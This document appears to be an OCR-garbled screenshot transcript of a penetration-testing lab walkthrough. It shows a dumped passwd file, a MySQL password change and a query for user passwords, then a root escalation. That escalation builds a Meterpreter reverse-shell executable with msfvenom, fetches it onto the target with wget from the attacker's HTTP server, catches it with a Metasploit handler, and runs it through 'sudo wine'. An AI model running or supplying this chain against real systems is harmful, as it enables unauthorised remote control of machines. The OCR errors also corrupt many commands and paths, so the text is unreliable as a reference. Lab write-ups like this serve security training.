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root:x:0:0:root:/root:/bin/bhash
daemon:x:1:1:daemon:/usr/shin:/usr/shin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/shin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/shin/nologin
man:x:6:12:man: /var/cache/man: /usr/shin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbhin/nologin
news:x:9:9:news:/var/spool/news: /usr/shin/nologin
uuep:x:10:10:uucp: /var/spool/mucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33 :www—data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ired:/var/run/ired: /usr/sbin/nologin
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usbmux:x:115:46:usbmux daemon,,, :/var/lib/usbmux:/usr/sbin/nologin
geoclue:x:116:124: : /var/lib/geoclue: /usr/sbin/nologin

tss:x:117:125:TPM2 software stack,,, :/var/lib/tpm:/bin/false
speech—dispatcher:x:118:29:Speech Dispatcher,,, :/var/run/speech—dispatcher:/bin/false
lightdm:x:120:127:Light Display Manager:/var/lib/lightdm:/bin/false
weborf:x:1001:1001:,,, : /home/weborf: /bin/bash

mysql:x:121:128:MySQL Server,,, :/nonexistent:/bin/false
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show databases;
ALTER USER "weborf @ localhost’ IDENTIFIED BY ~iheartrainbowsd4’ :
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mysql -u weborf -p
use mysql
select user,password from user



bor $ mysgl -u weborf -p
Enter password:
elcome to the MariaDB monitor. Commands end with ; or \g.
our“MariaDB connection id is 1287

Server version: 10.3.18-MariaDB-0+debl@ul Debian 10

Copyright (c) 2006, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
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su sunrise
Password:

sudo -1

- $ sudo -1
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msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 LHOST=192.168.2.126 LPORT=6666 -0

/root/Desktop/payload.exe
python3 -m http.server
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cd /tmp
wget http://192.168.2.126:8000/payload.exe

‘payload.exe.l’ s

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.126

set LPORT 6666

exploit
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sudo wine payload.exe
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Xe.1’

Reason: User exit

100%
3 's) Q5212801
5 (309 MB/s) - ‘payload.exe.l’ e,

$ sudo wine payload.exe NoEermrchcr
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